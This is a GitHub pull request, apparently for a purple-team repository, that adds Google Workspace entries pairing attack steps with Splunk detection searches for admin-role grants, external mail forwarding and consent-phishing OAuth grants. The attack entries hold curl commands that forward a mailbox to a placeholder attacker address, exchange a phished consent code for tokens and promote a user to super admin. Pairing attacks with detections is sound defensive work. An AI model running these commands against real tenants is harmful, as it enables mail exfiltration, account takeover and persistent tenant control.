-
Notifications
You must be signed in to change notification settings - Fork 0
feat(entries): Google Workspace platform — 3 companion-only pairs #21
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,24 @@ | ||
| --- | ||
| id: gws-admin-audit | ||
| title: Detect admin-role grant (Google Workspace admin audit) | ||
| detection: gws-audit-log | ||
| event_ids: [] | ||
| attack: | ||
| tactic: TA0003 | ||
| techniques: [T1098.003] | ||
| source: Google Workspace persistence (admin-role grant) | ||
| pair: gws-super-admin | ||
| --- | ||
|
|
||
| `GRANT_DELEGATED_ADMIN_PRIVILEGES` (made super admin) and `ASSIGN_ROLE` (privileged role | ||
| assigned) in the **admin** audit are the invariants. Admin grants are rare and | ||
| high-impact, so one by an unexpected actor — especially super-admin, or a grant that | ||
| quickly follows a new-user creation — is the persistence tell after a tenant compromise. | ||
| Reconcile admin changes against the IdM workflow and alert on any outside change control. | ||
|
|
||
| Google Workspace audit-log telemetry, companion-only — `PURPLE-TEAM.md` is on-prem Windows. | ||
|
|
||
| ```spl | ||
| index=gws sourcetype=gws:reports:admin eventName IN (GRANT_DELEGATED_ADMIN_PRIVILEGES, ASSIGN_ROLE) | ||
| | table _time, actor.email, target_user, role_name, ipAddress | ||
| ``` | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,24 @@ | ||
| --- | ||
| id: gws-mail-forward-audit | ||
| title: Detect external mail forwarding (Google Workspace audit) | ||
| detection: gws-audit-log | ||
| event_ids: [] | ||
|
Gerrrt marked this conversation as resolved.
|
||
| attack: | ||
| tactic: TA0009 | ||
| techniques: [T1114.003] | ||
| source: Google Workspace BEC (external auto-forwarding) | ||
| pair: gws-mail-forward | ||
| --- | ||
|
|
||
| `email_forwarding_out_of_domain` is the invariant — a mailbox set to auto-forward outside | ||
| the org, the durable exfil channel behind most BEC. Enabling it is uncommon and rarely | ||
| legitimate for external destinations, so alert on any occurrence, prioritize forwarding to | ||
| new/free-mail domains, and pair with the admin setting that disables automatic external | ||
| forwarding org-wide. Also watch delegate-access and filter-create events for the same intent. | ||
|
|
||
| Google Workspace audit-log telemetry, companion-only — `PURPLE-TEAM.md` is on-prem Windows. | ||
|
|
||
| ```spl | ||
| index=gws sourcetype=gws:reports:user_accounts eventName=email_forwarding_out_of_domain | ||
| | table _time, actor.email, forwarding_email, ipAddress | ||
| ``` | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,24 @@ | ||
| --- | ||
| id: gws-oauth-audit | ||
| title: Detect illicit OAuth grant (Google Workspace token audit) | ||
| detection: gws-audit-log | ||
| event_ids: [] | ||
|
Gerrrt marked this conversation as resolved.
|
||
| attack: | ||
| tactic: TA0006 | ||
| techniques: [T1528] | ||
| source: Google Workspace consent-phishing (illicit OAuth grant) | ||
| pair: gws-oauth-grant | ||
| --- | ||
|
|
||
| `eventName=authorize` in the **token** audit is the invariant. Most grants are for known | ||
| apps, so the signal is a first-seen/low-reputation `client_id` or `app_name`, a broad or | ||
| sensitive `scope` (`mail.google.com`, `drive`, `gmail.readonly`), or a burst of authorize | ||
| events across users (a campaign). Restrict third-party app access (allowlist Marketplace | ||
| apps, block unverified), and alert on new client IDs requesting mail/drive scopes. | ||
|
|
||
| Google Workspace audit-log telemetry, companion-only — `PURPLE-TEAM.md` is on-prem Windows. | ||
|
|
||
| ```spl | ||
| index=gws sourcetype=gws:reports:token eventName=authorize | ||
| | table _time, actor.email, app_name, client_id, scope, ipAddress | ||
| ``` | ||
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,28 @@ | ||
| --- | ||
| id: gws-mail-forward | ||
| title: Google Workspace external mail forwarding (BEC exfil) | ||
| section: Google Workspace / identity | ||
| phase: Collection | ||
| attack: | ||
| tactic: TA0009 | ||
| techniques: [T1114.003] | ||
| platform: [gws] | ||
| source: Google Workspace BEC (external auto-forwarding) | ||
| pair: gws-mail-forward-audit | ||
| --- | ||
|
|
||
| The BEC classic: on a compromised mailbox, add an **auto-forwarding** rule (or a filter) | ||
| that copies mail to an external address you control — a quiet, persistent exfil channel | ||
| that keeps leaking even after you lose the session. Enabling out-of-domain forwarding | ||
| writes an `email_forwarding_out_of_domain` event to the Gmail/user audit. (Cloud IdP — | ||
| no slots.) | ||
|
|
||
| ```sh | ||
| # register an external forwarding address, then turn on auto-forwarding to it (Gmail API) | ||
| curl -s -X POST "https://gmail.googleapis.com/gmail/v1/users/me/settings/forwardingAddresses" \ | ||
| -H "Authorization: Bearer <token>" -H "Content-Type: application/json" \ | ||
| -d '{"forwardingEmail":"<attacker@evil.tld>"}' | ||
| curl -s -X PUT "https://gmail.googleapis.com/gmail/v1/users/me/settings/autoForwarding" \ | ||
| -H "Authorization: Bearer <token>" -H "Content-Type: application/json" \ | ||
| -d '{"enabled":true,"emailAddress":"<attacker@evil.tld>","disposition":"leaveInInbox"}' | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,26 @@ | ||
| --- | ||
| id: gws-oauth-grant | ||
| title: Google Workspace malicious OAuth grant (consent phish) | ||
| section: Google Workspace / identity | ||
| phase: Credential Access | ||
| attack: | ||
| tactic: TA0006 | ||
| techniques: [T1528] | ||
| platform: [gws] | ||
| source: Google Workspace consent-phishing (illicit OAuth grant) | ||
| pair: gws-oauth-audit | ||
| --- | ||
|
|
||
| The consent-phish: stand up a third-party OAuth app requesting Gmail/Drive scopes and | ||
| phish a user into authorizing it. Their click hands you a refresh token that reads mail | ||
| and files with no password and no MFA prompt — and it survives their password reset until | ||
| the grant is revoked. Google logs the consent in the **token** audit as `authorize` with | ||
| the `client_id`, `app_name`, and requested `scope`. (Cloud IdP — no on-host target, so no | ||
| slots.) | ||
|
|
||
| ```sh | ||
| # after the victim consents to the app's Gmail/Drive scopes, exchange the code for tokens | ||
| curl -s -X POST "https://oauth2.googleapis.com/token" \ | ||
| -d client_id=<client_id> -d client_secret=<secret> -d grant_type=authorization_code \ | ||
| -d code=<consent_code> -d redirect_uri=<redirect> | ||
| ``` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,26 @@ | ||
| --- | ||
| id: gws-super-admin | ||
| title: Google Workspace super-admin grant (tenant persistence) | ||
| section: Google Workspace / identity | ||
| phase: Persistence | ||
| attack: | ||
| tactic: TA0003 | ||
| techniques: [T1098.003] | ||
| platform: [gws] | ||
| source: Google Workspace persistence (admin-role grant) | ||
| pair: gws-admin-audit | ||
| --- | ||
|
|
||
| After compromising an admin, promote your own account: flip a user to **super admin** (or | ||
| assign a privileged admin role) via the Admin SDK. That is durable, full-tenant control — | ||
| user/role management, security settings, every mailbox — surviving the victim admin's | ||
| password reset. Making a user super admin writes an **admin** audit event | ||
| (`GRANT_DELEGATED_ADMIN_PRIVILEGES`); a role assignment writes `ASSIGN_ROLE`. (Cloud IdP — | ||
| no slots.) | ||
|
|
||
| ```sh | ||
| # promote a controlled user to super admin via the Admin SDK Directory API | ||
| curl -s -X POST "https://admin.googleapis.com/admin/directory/v1/users/<userKey>/makeAdmin" \ | ||
| -H "Authorization: Bearer <admin-token>" -H "Content-Type: application/json" \ | ||
| -d '{"status": true}' | ||
| ``` |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.